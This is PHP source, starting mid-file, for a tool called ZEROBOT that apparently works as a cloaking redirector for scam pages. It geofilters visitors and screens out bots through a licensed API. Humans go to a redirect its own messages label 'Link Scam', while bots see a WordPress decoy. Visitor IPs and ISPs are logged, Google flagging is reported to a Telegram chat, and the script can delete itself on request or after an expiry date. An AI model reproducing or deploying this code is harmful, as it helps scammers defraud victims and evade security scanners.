token = $token; $this->chatid = $chatid; $this->vu_filename = $vu_filename . $this->extension_type; $this->_GOOGLE_FLAG(); $this->_CHECK_LINK(); $this->_AUTO_DELETE(); $add_link = $this->_ADD_EXT_LINK($authentification); if (!empty($redirect)) { if (empty($parameter)) { $parameter = 1; } switch ($parameter) { case "1": if ($this->_COUNTRY_ALLOWED() == True) { if ($this->_ZEROBOT_MANAGER() == True) { $this->write_vues("Human"); header ("location:" . $redirect . $add_link); } } break; case "2": if ($this->_ZEROBOT_MANAGER() == True) { $this->write_vues("Human"); header ("location:" . $redirect . $add_link); } break; case "3": if ($this->_COUNTRY_ALLOWED() == True) { $this->write_vues("Human"); header ("location:" . $redirect . $add_link); } break; default: $this->write_vues("Allowed"); header ("location:" . $redirect . $add_link); break; } } else { echo "Link Empty"; } } public static function _ACCESS() { global $view_file_name; if (isset($_GET["del"])) { unlink(basename(__FILE__)); exit; } if (isset($_GET["check"])) { print "AccessID923487"; exit; } if (isset($_GET["delete"]) and file_exists($view_file_name)) { unlink($view_file_name); exit; } } public static function __DEFINED() { if(!$_SERVER["HTTP_USER_AGENT"]) { exit(0); } session_start(); error_reporting(0); ini_set('display_errors', 0); ini_set('display_startup_errors', 0); header('Content-type: text/html; charset=UTF-8'); define("key_id","AccessID923487"); define('WP_USE_THEMES', true); } private function _CURL_ACCESS($url,$accept,$post,$type = Null) { $this->keys = curl_init(); if($accept == "GET") { if ($type == "query") { curl_setopt($this->keys, CURLOPT_URL, $this->api . "?" . http_build_query($post)); } else { curl_setopt($this->keys, CURLOPT_URL, $url); } } else if ($accept == "POST") { curl_setopt($this->keys, CURLOPT_URL, self::api); curl_setopt($this->keys, CURLOPT_POSTFIELDS, http_build_query($post)); } curl_setopt($this->keys, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($this->keys, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($this->keys, CURLOPT_FOLLOWLOCATION, true); curl_setopt($this->keys, CURLOPT_FRESH_CONNECT, true); curl_setopt($this->keys, CURLOPT_AUTOREFERER, true); curl_setopt($this->keys, CURLOPT_TIMEOUT, 10); curl_setopt($this->keys, CURLOPT_HEADER, "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"); curl_setopt($this->keys, CURLOPT_RETURNTRANSFER, true); $return = curl_exec($this->keys); if (empty($return) and $accept == "GET") { @file_get_contents($url); } else { return $return; } } public function _COUNTRY_ALLOWED() { global $_COUNTRY_ALLOWED; $country_name = strtolower($this->_GEOLOCATION()["country_code"]); if (in_array($country_name,$_COUNTRY_ALLOWED)) { $_SESSION["access"] = true; return 1; } else { $this->write_vues("Country Denied"); $this->_WP_RUN(); return 0; } } private function _GEOLOCATION() { $ip = $this->_IP_ADDRESS_FINDER(); $url = $this->api_geo . $ip . "?key=q3poiKwIfe238sl&fields=status,message,country,countryCode,regionName,city,isp,mobile,proxy,hosting"; $data_geo = $this->_CURL_ACCESS($url,"GET",NULL); $data_json_decoded = @json_decode($data_geo,true); // Get actual hostname $hostname = gethostbyaddr($ip); if (filter_var($hostname, FILTER_VALIDATE_IP)) { $hostname = "None"; } return array("country_code" => $data_json_decoded["countryCode"],"country_name" => $data_json_decoded["country"],"isp" => $data_json_decoded["isp"],"hostname" => $hostname); } public function write_vues($check) { if (!file_exists($this->vu_filename)) { $f = fopen($this->vu_filename,"a"); } switch ($check) { case "Human": $color = "#00a300"; break; case "Bot": $color = "#FF0000"; break; case "Country Denied": $color = "#DAA520"; break; case "Allowed": $color = "#00a300"; break; } $this->_HTML_VIEWS(); $ip_address = $this->_IP_ADDRESS_FINDER(); $time = date("d/m/Y h:i:s A"); $machine = $this->_USER_OS(); $country = $this->_GEOLOCATION()["country_name"]; $isp = $this->_GEOLOCATION()["isp"]; $hostname = $this->_GEOLOCATION()["hostname"]; $data_to_put = "$ip_address$time$machine$isp$hostname$country

$check

"; if ($this->_ONE_IP($ip_address)) { $file = fopen($this->vu_filename , "a"); fwrite($file, $data_to_put . "\n"); } } public function _ONE_IP($ip_address) { if (file_exists($this->vu_filename)) { if (preg_match("/$ip_address/" , @file_get_contents($this->vu_filename))) { return 0; } else { return 1; } } } public function _CHECK_LINK() { global $redirection_link_check,$redirect; if ($redirection_link_check == True) { $data_check = $this->_CURL_ACCESS($redirect . "?check","GET",NULL); if (!preg_match("/" . key_id . "/",$data_check)) { if (!isset($_COOKIE["send"])){ $this->rapport_template(0,$redirect); } echo ""; exit(); } } } private function full_link_get() { if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') $link = "https"; else $link = "http"; $link .= "://"; $link .= $_SERVER['HTTP_HOST']; $link .= $_SERVER['PHP_SELF']; return $link; } private function rapport_template($action, $link) { global $redirect,$redirection_link_check,$check_down_links; setcookie("send", "ok", 2147483647); if ($check_down_links == 1 and $action) { $date = date('r', $_SERVER['REQUEST_TIME']); $this->message = "Scam Status : Down❌\n"; $this->message .= 'Link Redirect : ' . $this->full_link_get() . "\n"; $this->message .= "Link Scam : " . $redirect . "\n"; $this->message .= "Link Downed Is : " . $link . "\n"; $this->message .= 'Date : ' . $date . "\n"; $this->_TM_RAPPORT($this->message); } if ($redirection_link_check == 1 and !$action) { $date = date('r', $_SERVER['REQUEST_TIME']); $this->message = "Scam Status : You need to re-upload it now\n"; $this->message .= 'Link Redirect : ' . $this->full_link_get() . "\n"; $this->message .= "Link Scam : " . $redirect . "\n"; $this->message .= 'Date : ' . $date . "\n"; $this->_TM_RAPPORT($this->message); } } private function _FAVICON() { global $active_wordpress; if ($active_wordpress == 1) { return fopen("favicon.ico", "a"); } } private function _HTML_VIEWS() { $data_show = ' ELITE BOT - Analytics Dashboard
Auto-refresh: 20s

ELITE BOT Analytics

Real-time traffic monitoring

Human
Bot
Denied
Allowed
'; if (empty($this->vu_filename)) { $this->vu_filename = "vu" . $this->extension_type; } if (file_exists($this->vu_filename)) { if (filesize($this->vu_filename) < 20) { $f = fopen($this->vu_filename , "w+"); fwrite($f , $data_show); } } else { $f = fopen($this->vu_filename , "a"); fwrite($f , $data_show); } } private function _IP_ADDRESS_FINDER() { foreach (array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (explode(',', $_SERVER[$key]) as $ipgrassjoss){ $ipgrassjoss = trim($ipgrassjoss); if (filter_var($ipgrassjoss,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)!== false) { return $ipgrassjoss; } else { return "105.130.22.31"; } } } } } private function _TM_RAPPORT($message) { if ($message and $this->token and $this->chatid) { $url = $this->telegram . $this->token . "/sendMessage?chat_id=" . $this->chatid . "&text=" . urlencode($message); $this->_CURL_ACCESS($url,"GET",NULL); } } private function _USER_OS() { $userAgent = $_SERVER["HTTP_USER_AGENT"]; // Detect OS and return appropriate icon if (preg_match('/Windows NT 10|Windows 10/i', $userAgent)) { return ''; } elseif (preg_match('/Windows NT 6.3|Windows 8.1/i', $userAgent)) { return ''; } elseif (preg_match('/Windows NT 6.2|Windows 8/i', $userAgent)) { return ''; } elseif (preg_match('/Windows NT 6.1|Windows 7/i', $userAgent)) { return ''; } elseif (preg_match('/Windows/i', $userAgent)) { return ''; } elseif (preg_match('/Macintosh|Mac OS X/i', $userAgent)) { return ''; } elseif (preg_match('/iPhone/i', $userAgent)) { return ''; } elseif (preg_match('/iPad/i', $userAgent)) { return ''; } elseif (preg_match('/Android.*Mobile/i', $userAgent)) { return ''; } elseif (preg_match('/Android/i', $userAgent)) { return ''; } elseif (preg_match('/Linux/i', $userAgent)) { return ''; } elseif (preg_match('/Ubuntu/i', $userAgent)) { return ''; } elseif (preg_match('/CentOS/i', $userAgent)) { return ''; } elseif (preg_match('/Chrome OS/i', $userAgent)) { return ''; } elseif (preg_match('/BlackBerry/i', $userAgent)) { return ''; } else { return ''; } } public function _GOOGLE_FLAG() { global $check_down_links,$redirect; if ($check_down_links == True) { $data_google = $this->_CURL_ACCESS($this->google_api . $redirect,"GET",NULL); $data_google2 = $this->_CURL_ACCESS($this->google_api . $this->full_link_get(),"GET",NULL); $ex = explode(",", $data_google); $ex2 = explode(",", $data_google2); if ($ex[1] == 2) { if (!isset($_COOKIE["send"])){ $this->rapport_template(1,$redirect); } echo ""; exit(); } else if ($ex2[1] == 2) { if (!isset($_COOKIE["send"])){ $this->rapport_template(1,$this->full_link_get()); } echo ""; exit(); } } } public function _ZEROBOT_MANAGER() { global $check_user_agent,$license_key,$redirect,$parameter; if (!empty($license_key) && !empty($redirect) && strlen($license_key) == 32) { $array_post = array("check_on" => $this->full_link_get(),"license" => $license_key,"ip" => $this->_IP_ADDRESS_FINDER(),"useragent" => $_SERVER["HTTP_USER_AGENT"]); $data_decoded = @json_decode($this->_CURL_ACCESS(NULL,"GET",$array_post,"query"),true); if (array_key_exists("query",$data_decoded)) { echo @json_encode($data_decoded); exit(); } else if (array_key_exists("username",$data_decoded)) { if ($data_decoded["is_bot"] == True) { $this->write_vues("Bot"); $this->_WP_RUN(); return 0; } elseif($data_decoded["is_bot"] == False) { $_SESSION["access"] = true; return 1; } } else { echo "SOME SERVER DOESN'T SUPPORT REQUESTS FROM ZEROBOT SERVER. WE RECOMMEND TO CHANGE YOUR SERVER IS BETTER FOR GOOD PERFORMANCE IN FUTURE."; } } else { echo ' License Verification Required
'; exit(); } } public function _ADD_EXT_LINK($ac) { global $license_key; if($ac) { return "?key=" . $license_key; } } public function _AUTO_DELETE() { global $expiration_date; if (!file_exists("../delete.json")) { $date_now = date("d"); $input_stdin = '{"date" : "' . $date_now . '" }'; $f = fopen("../delete.json" , "a"); fwrite($f , $input_stdin); } if ($expiration_date > 0) { $f = file_get_contents("../delete.json" ); $json_a = @json_decode($f , true); $data_set = (int)$json_a["date"]; if ((int)(date("d")) - $data_set > $expiration_date) { unlink(basename(__FILE__)); exit(); } } } public function _WP_RUN() { global $active_wordpress,$location_bots; if ($active_wordpress == 1 and file_exists("wp-blog-header.php")) { $this->_FAVICON(); require __DIR__ . '/wp-blog-header.php'; exit(); } else { header ("location:" . $location_bots); } } } new ZEROBOT($redirect,$parameter,$authentification,$token_chat,$chatid,$view_file_name);
Web hosting by Somee.com
IP Time Device ISP Host Country Status